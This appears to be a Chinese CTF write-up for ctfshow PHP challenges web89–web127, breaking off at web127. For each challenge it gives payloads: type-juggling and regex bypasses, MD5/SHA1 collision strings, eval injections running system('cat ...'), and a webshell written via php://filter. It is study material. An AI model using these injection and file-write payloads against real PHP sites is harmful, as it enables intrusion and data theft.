# 前言

勉勉强强算是详解吧

# 前篇

# web89

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

首先 intval () 函数是用于获取变量的整数值

image-20230111192534964

<?php
$num="1";
echo preg_match("/[0-9]/", $num)."\n";
echo intval($num)."\n";
$w="a";
echo preg_match("/[0-9]/", $w)."\n";
echo intval($w)."\n";
$q="1a";
echo preg_match("/[0-9]/", $q)."\n";
echo intval($q)."\n";
$a[]="a";
echo @preg_match("/[0-9]/", $a)."\n";
echo @intval($a);

运行结果

image-20221107173642929

这里可以看到,当变量为数字时两个函数返回值都是 1,当变量为字母的时候,两个函数返回的都是 0,当变量是字符串的时候,当变量中是由数字的字符串时函数的返回值为 1,但是当变量为数组时,preg_match 的返回值为空而 intval 的返回值为一,所以这里可以使用数组绕过

/?num[]=1

image-20221107174022859

# web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

根据上面提到的特性,这里直接传进去一个 4476 + 字母即可

?num=4476a

image-20221107190716542

# web91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

这里是正则的一个小特性,可以去看看我的 preg_match&& 正则 - Web | Clown の Blog = (xcu.icu) 这篇文章,绕过这个的方法也不难,第一个是多行匹配,第二个是只匹配一行,且遇到换行返回空

?cmd=a%0aphp

image-20221109231302790

# web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval 获取变量的整数值,前面又不能相等,但是它又加了一个 0,这里用 e 来构造科学计数法或者写一个小数都行

?num=4476.1
?num=4476e1

image-20221109232250065

# web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

不让用字母了,那就用小数点呗

?num=4476.1

image-20221109232530653

还能用进制转换

二进制0bxxx
八进制0xxxxxx
十六进制0xaaaa

二进制和十六进制想正常识别都有字母,只有八进制能用了

image-20221109233000924

# web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos () f 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)

那就继续小数点解决,第一次出现的位置,加一个空格干扰一下就行

image-20221110001332708

# web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

小数点被加入黑名单了,那就使用空格干扰

image-20221110003134354

# web96

<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

这里先引出报错

image-20221110003333642

看到文件路径,这里传入完整路径就可以了

?u=/var/www/html/flag.php

image-20221110003509585

# web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

人见人爱的 MD5 强碰撞,这里给出几个 MD5 和 hash 的强碰撞,简单点的数组绕过就行

#0
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2   
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2   
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2   
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
#3
$a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
#4
POST:
array1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0&array2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0
#sha1
POST:
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

传就完事,注意别用 hackbar 会编码一次再发送

# web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

三元运算符和地址传递

首先第一个三元运算,如果有 get 传参就将 post 的地址传给 get,最后一个是如果 $_GET ['HTTP_FLAG']=='flag' 就打印 flag,否则就会高亮当前文件,第二个和第三个这里似乎没有用上

image-20221110225715098

# web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

array_push () 函数向数组尾部插入一个或多个元素。

in_array () 函数搜索数组中是否存在指定的值。这题的点也是在这这个函数有三个参数,像题目中两个是必须的,第三个参数是可选择的如果为 ture 则判断第一个参数(被检索的值)和第二个参数(检索的字母)

image-20221110233741927

这里可以,用 1.php 去尝试,会被识别为 1,如果相同则写入 1.php 中

image-20221110233730400

# web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

首先 $v0=is_numeric ($v1) and is_numeric ($v2) and is_numeric ($v3); 这里要让其值为 true,然后进入 if 语句

判断三个数都为数字或者数字字符串才行,但是这里等号的运算优先级比 and 要高

&& > || > = > and > or

所以这里后面的 v2 和 v3 似乎没啥用,v2 不能有;v3 要有;,这里还要将中间的 ctfshow 干扰给过滤了,可以用多行注释,直接用?> 结束也行

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=system(%27cat%20ctfshow.php%27)/*&v3=*/;
?v1=1&v2=var_dump($ctfshow)?>&v3=;

# web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

跟上一题相比较挺突然,突然过滤了好多东西,经观察,v3 还是可以有 ";",这里要使用 php 反射,先浅浅的记录一下什么是 php 反射

# php 反射

算的上是 php 中的一种非常普遍的高级操作,几乎在所有的 php 框架或是说工具中都能见到反射的身影,那么什么是反射?

php 语言是一种简单的同时可以应用面向对象面向过程方式的变成语言,而在面向对象中对象被赋予了自省的能力,这种自省的过程就是反射,在 php 文档中是这样介绍的 “ PHP 具有完整的反射 API,增加了内省类、接口、函数、方法和扩展的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。 ”,简单来说就是通过对象找到他所属的类,拥有哪些方法等等

# demo

对于反射会接触到四个类

ReflectionClass
ReflectionFunction
ReflectionMethod
ReflectionParameter

接下来简单写一个 demo

<?php
class demo1{}
class demo2{
	public $test1;
	private $test2;
	public function __construct(){
		$this->test1 = 'test1';
		$this->test2 = 'test2';
	}
	public function functiontest(){
		//echo $this->test1;
		return $this->test2;
	}
}
//$class=new ReflectionClass(demo2::class);
$class = new ReflectionClass('demo2');
//$funtion = new ReflectionMethod('demo2', '__construct');
//$Method = new ReflectionMethod('demo2', 'functiontest');
//$Parameter = new ReflectionParameter('demo2', 'functiontest');
echo $class;
//echo $funtion;
//echo $Method;

运行结果如下

Class [ <user> class demo2 ] {
  - Constants [0] {
  }
  - Static properties [0] {
  }
  - Static methods [0] {
  }
  - Properties [2] {
    Property [ <default> public $test1 ]
    Property [ <default> private $test2 ]
  }
  - Methods [2] {
    Method [ <user, ctor> public method __construct ] {
      @@ C:\Users\Clown\Desktop\exp.php 7 - 10
    }
    Method [ <user> public method functiontest ] {
      @@ C:\Users\Clown\Desktop\exp.php 12 - 15
    }
  }
}
[Done] exited with code=0 in 0.061 seconds

可以看到将类中的信息打印出来,所有 payload

?v1=1&v2=echo new Reflectionclass&v3=;
?v1=1&v2=echo new Reflectionclass?>&v3=;

image-20230102222148085

# web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

题目本意应该是 php5 下 is_numeric 可识别 16 进制,如 0x2e,然后调用 hex2bin 转成字符串写入木马,但题目环境没配好,是 php7, 所以要另换方法

call_user_func () 这个函数是调用函数的一种方法

因为写入要用伪协议写入,所以需要 base64 编码后转成 16 进制全是数字的字符串,payload:

get?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

接下来解释一下

<?php
$a='<?=`cat *`;';
$b=base64_encode($a);
echo $b;  // PD89YGNhdCAqYDs=
$c=bin2hex('PD89YGNhdCAqYDs');
echo $c;    //5044383959474e6864434171594473
?>

image-20230102231612343

# web103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

比起上一关多了一个正则,但是不影响做题

get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

# web104

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

弱类型比较,找两个 sha1 后为数字加 e 开头的,这里

10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

当然,简单一点可以直接用数组绕过

image-20230111104256845

# web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?

这个题的关键在于两个下面的语句,实现变量覆盖

$$key=$$value;

我们的目标 flag 在 $flag 中,想要获得中国 flag 我们要么到最后一步

echo "your are good".$flag."\n";

因为有上面提到的哪个关键语句在,这里可以通过变量覆盖实现,于是 payload 的思路就是先用第一个 if 的 get 将 flag 的值赋值给 suces,再用第二个 if,将 suces 的值给 error,再通过下面的语句会将 error 输出

if(!($_POST['flag']==$flag)){
    die($error);

所以 payload

?suces=flag
post:error=suces

# web106

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

为啥不和 104 放一块呢???好多问号

image-20230111111704069

# web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}

parse_str () 函数把查询字符串解析到变量中。

未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
//Bill
//60

设置了 array 参数

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>
// Array ( [name] => Bill [age] => 60 )

将 v3 的参 md5 后与 flag 相比较,下面提供一组 md 后 0e 开头的字符串

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904

image-20230111144939145

# web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
// 只有 36d 的人才能看到 flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

首先还是介绍几个函数

ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回 true ,否则返回 false 。搜索对于字母字符是区分大小写的。

intval() 函数用于获取变量的整数值。

strrev() 函数反转字符串。

再这里 ereg 函数存在一个 00null 的截断

image-20230111173919413

# web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

这个很明显是考察原生类利用,这里可以查阅 php 反序列化 - Web | Clown の Blog = (xcu.icu) 我的这篇文章

echo new $v1($v2());

这里 echo 一个实例化的对象 v1,v2 是传入类中的参数,这里 v2 () 是表示会将 v2 返回值作为函数调用,这里有 echo 可以自动调用魔术方法__tostring () 方法,那么这里几个 php 反射类,和异常处理类等等都可以利用

v1=Exception&v2=system('cat fl36dg.txt') v1=Reflectionclass&v2=system('cat fl36dg.txt')
v1=mysqli&v2=system('tac fl36dg.txt')

image-20230113120837704

# web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

这个题比起上一题加了一些过滤,上面的方法就不在使用,首先要查看文件明

可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

但是这些都要传入路径,这里符号都被过滤,所以要使用别的函数来获取路径

如果要获取脚本文件的目录,要应用函数 getcwd () 来实现。函数声明如下:

string getcwd ( void ) ;

成功执行后返回当前目录字符串,失败返回 FALSE。

注: 这里三个遍历目录类,第一个包含隐藏文件,第二个不包含,第三个获取的是目录名,所以这里要使用第二个,当然这种方法也只能获取第一个文件名

image-20230113122221136

访问即可

image-20230113122354782

# 中篇

# web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

本题的重点在

eval("$$v1 = &$$v2;");
    var_dump($$v1);

很明显考察变量覆盖,这里使用 GLOBALS 全局变量

image-20230113204217572

# web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){   if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这里我们的目的是不能让 is_file 检测出是文件,并且 highlight_file 可以识别为文件。这时候可以利用 php 伪协议。
可以直接用不带任何过滤器的 filter 伪协议

php://filter/resource=flag.php

这里主要是为了过滤编码方式,采用为被过滤的编码方式即可

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php

或者使用别的伪协议

compress.zlib://flag.php

这里对 zip 伪协议进行一个补充

【zip:// 协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

2.【bzip2:// 协议】

使用方法:

compress.bzip2://file.bz2

3.【zlib:// 协议】

使用方法:

compress.zlib://file.gz

# web113

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这里没有过滤全,上面提到的 zilb:// 协议还能使用

/?file=compress.zlib://flag.php

image-20230214222732285

或者利用 /proc/self/root 软链接,20 次软链接可以绕过 is_file ()

# web114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

这里过滤了 compress,root 但是又没有过滤 filter

?file=php://filter/resource=flag.php

# web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

本题主要考察绕过 is_numeric,!== 不全等,数值或者类型不相同

在数字的前面加上 %09 %0a %0b %0c %0d 任意一个都可以使其为真不影响判断。

对于 trim 函数首位去空,可以去除空格以及 \n\r\t\v\0 ,但不会过滤 \f ,于是本题可以使用 %0c 绕过

image-20230214225308922

# web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

本题没啥限制,直接上 payload:

?CTF_SHOW=&CTF[SHOW.COM=&fun=echo%20$flag

这里不用 CTF_SHOW.COM 的原因是因为这里又一个点,变量名重只能有数字字母下划线,所以我们构造不出来原参数,被 get 或者 post 传入的变量名,如果含有空格、+、[则会被转化为_,php 中有个特性就是如果传入 [,它被转化为_之后,后面的字符就会被保留下来不会被替换,所以这里要使用 [

# web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

比起上一题多了一些过滤,如 echo,flag 等等,构造命令执行发现没反应,大概是 ban 掉了,但是高亮函数应该没禁用,毕竟本题还使用了

image-20230214231811542

# web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

本题过滤名单加上了几个字母 g|i|f|c|o|d,那么上面一题的高亮用法也被过滤了,那么 get 和 post 就不能再使用了,而且这里存在长度限制。最后还有的办法就是利用原有的 echo 语句输出 flag

parse_str () 函数把查询字符串解析到变量中

assert () 判断一个表达式是否成立,之间的代码会被执行

看到 $a=$_SERVER ['argv'];,这里可以利用,“$argv” 用于存放指向字符串的参数,是传递给脚本的参数数组,每一个元素指向一个参数,第一个参数总是当前脚本的文件名;

这里测试一下,注意这里需要将 register_argc_argv 配置项改为为 no,

image-20230215135512053

cli 模式下

image-20230215162645586

网页模式下

image-20230215162736593

本题的逻辑就显而易见了,前面的 CTF_SHOWW 不变,fun=assert ($a [0]),这样就会执行 $a [0] 的参,get 传入一个?$fl0g=flag_give_me,就会将这一句话通过断言执行,成功将 $fl0g 赋值,通过原有的 echo 语句输出 flag

image-20230215164257976

# web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
// 特殊字符检测
function waf($url){
